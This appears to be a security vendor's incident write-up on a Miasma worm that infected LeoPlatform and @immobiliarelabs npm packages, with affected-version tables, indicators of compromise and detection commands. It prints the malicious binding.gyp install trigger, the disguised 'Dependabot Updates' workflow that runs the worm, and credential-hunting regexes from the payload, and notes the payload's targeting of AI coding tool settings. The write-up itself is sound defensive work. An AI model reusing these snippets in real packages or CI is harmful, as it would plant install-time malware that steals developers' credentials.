Miasma Worm Infects Multiple LeoPlatform npm Packages

SafeDep Team
8 min read

Table of Contents

A Miasma worm variant hit the LeoPlatform npm ecosystem on June 24, 2026. The attacker compromised a single maintainer’s npm and GitHub tokens and used them to publish infected versions of 20 packages in a 3-second burst. The same tokens pushed weaponized GitHub Actions workflows, disguised as Dependabot, to at least three repos. The payload matches the Miasma supply chain attack toolkit documented in our earlier source code analysis: a polymorphically packed Bun-based credential stealer and self-propagating worm that targets npm, PyPI, RubyGems, GitHub, AWS, Kubernetes, HashiCorp Vault, and AI coding tool configurations.

Updated 2026-06-26: Four additional @immobiliarelabs Backstage plugin packages (16 malicious versions) confirmed infected with the same Phantom Gyp binding.gyp technique. See the full analysis below. All 24 packages are included in the checker.

active campaign24 npm packages compromised.
24 pkgs compromised

TL;DR

  • 24 npm packages confirmed infected: 20 LeoPlatform / LeoInsights packages published at 2026-06-24T23:04:55Z, plus 4 @immobiliarelabs Backstage packages across 16 malicious versions (identified 2026-06-26)
  • Every infected package contains a binding.gyp that triggers the payload during npm install, bypassing lifecycle script scanners
  • The payload is identical across all 20 packages after decryption (same SHA256), packed with per-package ROT cipher values and AES-128-GCM keys
  • The compromised maintainer account (czirker) also pushed orphan snapshot-* branches to three GitHub repos, each carrying a 5.2 MB worm payload and a fake “Dependabot Updates” workflow
  • Combined weekly download count across the 20 packages is roughly 13,600

The 20 infected packages

All 20 packages were published within the same 3-second window. The npm registry time metadata confirms they share a single automated publish run:

Compromised packages
Ecosystem Package Version
1 npm rstreams-shard-util 1.0.1
2 npm leo-logger 1.0.8
3 npm rstreams-metrics 2.0.2
4 npm leo-cdk-lib 0.0.2
5 npm leo-auth 4.0.6
6 npm leo-streams 2.0.1
7 npm serverless-convention 2.0.4
8 npm leo-cache 1.0.2
9 npm leo-connector-elasticsearch 2.0.6
10 npm leo-connector-mysql 3.0.3
11 npm leo-connector-redshift 3.0.6
12 npm leo-connector-mongo 3.0.8
13 npm leo-sdk 6.0.19
14 npm serverless-leo 3.0.14
15 npm leo-cli 3.0.3
16 npm leo-config 1.1.1
17 npm leo-cron 2.0.2
18 npm leo-aws 2.0.4
19 npm leo-connector-oracle 2.0.1
20 npm solo-nav 1.0.1
21 npm @immobiliarelabs/backstage-plugin-gitlab-backend 3.0.3
22 npm @immobiliarelabs/backstage-plugin-gitlab-backend 5.2.1
23 npm @immobiliarelabs/backstage-plugin-gitlab-backend 6.13.1
24 npm @immobiliarelabs/backstage-plugin-gitlab 1.0.1
25 npm @immobiliarelabs/backstage-plugin-gitlab 2.1.2
26 npm @immobiliarelabs/backstage-plugin-gitlab 3.0.3
27 npm @immobiliarelabs/backstage-plugin-gitlab 4.0.2
28 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 1.1.3
29 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 2.0.5
30 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 3.0.2
31 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 4.3.2
32 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 5.2.1
33 npm @immobiliarelabs/backstage-plugin-ldap-auth 1.1.4
34 npm @immobiliarelabs/backstage-plugin-ldap-auth 2.0.5
35 npm @immobiliarelabs/backstage-plugin-ldap-auth 3.0.2
36 npm @immobiliarelabs/backstage-plugin-ldap-auth 4.3.2
36 rows
| 3 columns

The highest-traffic targets are leo-logger (3,140 weekly downloads), leo-sdk (1,830), leo-aws (1,730), leo-config (1,709), and leo-streams (1,497). Four packages under the same maintainers were not infected: leo-connector-common, leo-connector-entity-table, leo-connector-postgres, and leo-connector-sqlserver. All four have their npm latest dist-tag pointing to a prerelease version (-rc or -beta). The worm likely skips packages where the latest tag is not a stable release.

How the infection works

Every infected package received the same three modifications compared to its previous clean version.

1. A new binding.gyp file. The file contains a single node-gyp target that uses command expansion to run node index.js during npm install:

// binding.gyp (identical across all 20 packages)
{
"targets": [
{
"target_name": "nothing",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}

The <!(...) syntax is a GYP command expansion that runs a shell command during project generation. npm automatically invokes node-gyp rebuild when a binding.gyp is present, regardless of whether the package.json defines any install or postinstall script. This bypasses tools that only inspect lifecycle scripts.

2. A replaced index.js. The original module code is wiped and replaced with a single-line obfuscated payload of roughly 5.2 MB. The obfuscation has three layers:

try { eval(
ROT-N( charCodeArray.map(c => String.fromCharCode(c)).join(""), N )
)}

Each package uses a different ROT value (5, 8, 19, or 23) and a different set of AES-128-GCM keys. After decryption, every package yields the same two blobs:

BlobPurposeDecrypted SHA256
_bBun runtime bootstrapper (907 bytes)ceff7c51d70832...ea154108
_pWorm payload (781,580 bytes)9f93d77d328338...9a6db015

The _b blob downloads Bun 1.3.13 from GitHub releases, caches the binary in a temp directory, and exposes a global getBunPath() function. The _p blob (the worm) is written to /tmp/p<random>.js and executed via bun run. The temp file is deleted after execution.

3. A new bun dependency. Every infected package.json adds "bun": "^1.3.13". This is the npm Bun installer package, likely included as a fallback path for environments where the bootstrapper’s curl download fails.

Root cause: one compromised maintainer

The npm account czirker (Clint Zirker, [email protected]) is the only maintainer present on all 20 infected packages. Other maintainers like leoinsights, jgrantr, and elsmob appear on subsets, but czirker is the common denominator. The worm used this account’s npm token for the mass publish and its GitHub token for the repo-level attacks.

A registry metadata query confirms the maintainer list:

Terminal window
curl -s "https://registry.npmjs.org/rstreams-shard-util" \
| jq '{maintainers, "dist-tags", time}'
{
"maintainers": [{ "name": "czirker", "email": "[email protected]" }],
"dist-tags": { "latest": "1.0.1", "beta": "2.0.0-beta.1" },
"time": {
"1.0.0": "2024-11-05T21:36:55.013Z",
"1.0.1": "2026-06-24T23:04:55.296Z"
}
}

The jump from 1.0.0 (November 2024) to 1.0.1 (June 24, 2026) is the infected version. This pattern repeats across all 20 packages: a long-dormant legitimate package suddenly receives a new version with a 5 MB index.js and a binding.gyp.

GitHub repo poisoning

The worm did not stop at npm. GitHub event logs for three LeoPlatform repositories show czirker creating orphan branches named snapshot-<hex> at 22:50 UTC, roughly 14 minutes before the npm publishes:

22:50:34Z CreateEvent czirker snapshot-f121a878 LeoPlatform/Nodejs
22:50:52Z CreateEvent czirker snapshot-463d9ff7 LeoPlatform/auth-sdk
22:50:58Z CreateEvent czirker snapshot-afacc302 LeoPlatform/Leo
23:03:04Z PushEvent czirker snapshot-f121a878 LeoPlatform/Nodejs
23:04:55Z (npm publishes begin)

The commit on the snapshot-f121a878 branch of LeoPlatform/Nodejs tells the story. It is an orphan commit (no parent) authored as czirker, with the message “chore: update dependencies”. It adds two files:

added .github/workflows/npm-publish.yml (+19 lines)
added _index.js (+1 line, 5,285,240 bytes)

The _index.js is the same 5.2 MB worm payload. The workflow is a weaponized GitHub Actions pipeline:

// .github/workflows/npm-publish.yml @ 5b32ae020b1b (orphan commit)
name: Dependabot Updates
run-name: Dependabot Updates
on:
push
permissions:
id-token: write
contents: read
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
- name: prepare
run: bun run _index.js
env:
OIDC_PACKAGES: "leo-sdk"
WORKFLOW_ID: "npm-publish.yml"
REPO_ID_SUFFIX: "LeoPlatform/Nodejs"

Three things stand out. The workflow triggers on every push to any branch. It requests id-token: write, which grants access to a GitHub OIDC token that can be exchanged for npm publish credentials via npm’s trusted publishing. And it is named “Dependabot Updates” to blend in with legitimate dependency PRs.

A follow-up commit, this time impersonating dependabot[bot], replaced the OIDC parameters with a direct NPM_TOKEN: ${{ secrets.NPM_TOKEN }} reference, suggesting the worm tries multiple publish strategies. Both the actions/checkout and oven-sh/setup-bun SHAs point to legitimate releases (a January 2026 checkout fix and Bun setup v2.2.0, respectively).

The master branch of LeoPlatform/Nodejs is clean. The weaponized workflow lives only on the orphan snapshot branch, where it would execute if merged or if a CI configuration runs workflows from all branches.

The worm payload

The inner code uses the standard javascript-obfuscator pattern: a _0x66ee string lookup table with 2,588 entries, a _0x42e6 decoder function, and a secondary runtime-constructed decoder (fb12914b2) called 519 times to decrypt environment variable names and API endpoints.

Static string analysis of the decrypted payload reveals the same capability set documented in our Miasma source code analysis:

Credential theft across npm, GitHub (PATs, OIDC, JWTs), PyPI, RubyGems, Kubernetes service account tokens, HashiCorp Vault, AWS (IAM keys, STS, IMDS, Secrets Manager, SSM), 1Password, JFrog Artifactory, and SSH private keys.

Secret scanning via regex patterns for auth tokens, private keys, and .npmrc credentials:

// Regex patterns extracted from the decrypted payload string table
/"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g
/-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g
/ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g

AI coding tool targeting, the Miasma family signature: the payload references claudeSettingsPath, cursorRulesPath, geminiSettingsPath, and vscodeTasksPath.

npm worm propagation with automated package enumeration (npmRepos, maxPackages), version bumping (newVersion), and publish tracking (totalPackages, published, failed, publishStepIndex).

GitHub Actions workflow scanning using regex for npm publish and yarn publish in CI configs, with hasIdTokenWrite checks for OIDC-based publishing.

For a complete breakdown of each module, see Inside the Miasma Software Supply Chain Attack Toolkit.

Indicators of compromise

Indicators of Compromise
Type Indicator Context
1 File binding.gyp Install-time trigger, added to every infected package
2 File Pattern index.js (~5.2 MB single line) ROT-N + AES-128-GCM obfuscated worm payload replacing original
3 npm Dependency bun@^1.3.13 Added to all infected packages to bootstrap Bun runtime
4 SHA256 (Bun bootstrapper) ceff7c51d70832c3ec8dd2744b606a23b3c924ef664ae23439b9b742ea154108 Decrypted _b blob (identical across all 20 packages)
5 SHA256 (worm payload) 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015 Decrypted _p blob (identical across all 20 packages)
6 SHA1 (leo-logger-1.0.8.tgz) 24a0d9e496ec07ca978fab602d5f5e0b39fa03a0 Infected tarball
7 SHA1 (serverless-convention-2.0.4.tgz) 5e75c14b8acd5752819ab7a10874ddd6389f5238 Infected tarball
8 SHA1 (leo-cache-1.0.2.tgz) e973173fb757d2dab9c6424b440dd9f7cbe4f14a Infected tarball
9 SHA1 (rstreams-shard-util-1.0.1.tgz) a8cb86b78ca56befe90dc466642cb04b98079909 Infected tarball
10 GitHub Branch Pattern snapshot-<8 hex chars> Orphan branches created by the worm on compromised repos
11 GitHub Commit Author dependabot[bot] Impersonated author on worm commits
12 GitHub File _index.js (~5.2 MB) Worm payload dropped into GitHub repos
13 GitHub Workflow Name Dependabot Updates Weaponized workflow disguised as Dependabot
14 GYP Command <!(node index.js > /dev/null 2>&1 && echo stub.c) node-gyp command expansion trigger in binding.gyp
15 Bun Download URL github.com/oven-sh/bun/releases/download/bun-v1.3.13/ Runtime downloaded by the Bun bootstrapper
16 Temp File Pattern /tmp/p<random>.js Worm payload written to disk before Bun execution
16 rows
| 3 columns

Quick detection check. Any npm package that added a binding.gyp containing <!(node index.js in a recent version bump, combined with a new "bun" dependency and an index.js that grew to several megabytes, should be treated as infected.

Infected packages (CSV)

miasma-worm-leoplatform-packages.csv
Ecosystem Package Version
1 npm rstreams-shard-util 1.0.1
2 npm leo-logger 1.0.8
3 npm rstreams-metrics 2.0.2
4 npm leo-cdk-lib 0.0.2
5 npm leo-auth 4.0.6
6 npm leo-streams 2.0.1
7 npm serverless-convention 2.0.4
8 npm leo-cache 1.0.2
9 npm leo-connector-elasticsearch 2.0.6
10 npm leo-connector-mysql 3.0.3
11 npm leo-connector-redshift 3.0.6
12 npm leo-connector-mongo 3.0.8
13 npm leo-sdk 6.0.19
14 npm serverless-leo 3.0.14
15 npm leo-cli 3.0.3
16 npm leo-config 1.1.1
17 npm leo-cron 2.0.2
18 npm leo-aws 2.0.4
19 npm leo-connector-oracle 2.0.1
20 npm solo-nav 1.0.1
21 npm @immobiliarelabs/backstage-plugin-gitlab-backend 3.0.3
22 npm @immobiliarelabs/backstage-plugin-gitlab-backend 5.2.1
23 npm @immobiliarelabs/backstage-plugin-gitlab-backend 6.13.1
24 npm @immobiliarelabs/backstage-plugin-gitlab 1.0.1
25 npm @immobiliarelabs/backstage-plugin-gitlab 2.1.2
26 npm @immobiliarelabs/backstage-plugin-gitlab 3.0.3
27 npm @immobiliarelabs/backstage-plugin-gitlab 4.0.2
28 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 1.1.3
29 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 2.0.5
30 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 3.0.2
31 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 4.3.2
32 npm @immobiliarelabs/backstage-plugin-ldap-auth-backend 5.2.1
33 npm @immobiliarelabs/backstage-plugin-ldap-auth 1.1.4
34 npm @immobiliarelabs/backstage-plugin-ldap-auth 2.0.5
35 npm @immobiliarelabs/backstage-plugin-ldap-auth 3.0.2
36 npm @immobiliarelabs/backstage-plugin-ldap-auth 4.3.2
36 rows
| 3 columns

Update: @immobiliarelabs Backstage plugins (June 26)

Four npm packages maintained by ImmobiliareLabs — an Italian real estate tech company’s open-source division — are confirmed infected with the same Phantom Gyp technique. Unlike the LeoPlatform wave (one infected version per package), multiple historical versions are compromised across all four packages, yielding 16 malicious package-version pairs:

PackageCompromised versions
@immobiliarelabs/backstage-plugin-gitlab-backend3.0.3, 5.2.1, 6.13.1
@immobiliarelabs/backstage-plugin-gitlab1.0.1, 2.1.2, 3.0.3, 4.0.2
@immobiliarelabs/backstage-plugin-ldap-auth-backend1.1.3, 2.0.5, 3.0.2, 4.3.2, 5.2.1
@immobiliarelabs/backstage-plugin-ldap-auth1.1.4, 2.0.5, 3.0.2, 4.3.2

These are Backstage plugins — Spotify’s open internal developer portal platform. The LDAP auth packages handle enterprise directory authentication; the GitLab packages integrate Backstage with GitLab SCM pipelines. Both are deployed inside CI/CD infrastructure at organizations running Backstage, giving the worm access to LDAP credentials, GitLab tokens, and the full build environment.

Technique. Each infected package carries a binding.gyp with the same command expansion as the LeoPlatform wave:

{
"targets": [
{
"target_name": "nothing",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}

The obfuscation layer differs. The 4.8 MB index.js uses a fixed ROT13 cipher wrapped in eval(), replacing the per-package variable ROT-N + AES-128-GCM two-layer scheme from the LeoPlatform wave. The simplified obfuscation — fixed shift, no AES key — is consistent with a different build configuration of the same worm toolkit. The decrypted payload is expected to be the same Bun-based credential stealer; analysis is ongoing.

Detection. The “Am I Affected?” checker above now includes all 16 version pairs. For command-line verification:

Terminal window
find node_modules -name binding.gyp | xargs grep -l '<!'

Any @immobiliarelabs package at the versions listed above that matches this pattern should be treated as infected and removed.

  • npm
  • oss
  • malware
  • supply-chain
  • shai-hulud
  • ai-coding-agents
  • github

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

AsyncAPI Packages Compromised with Miasma RAT

AsyncAPI Packages Compromised with Miasma RAT

Four @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.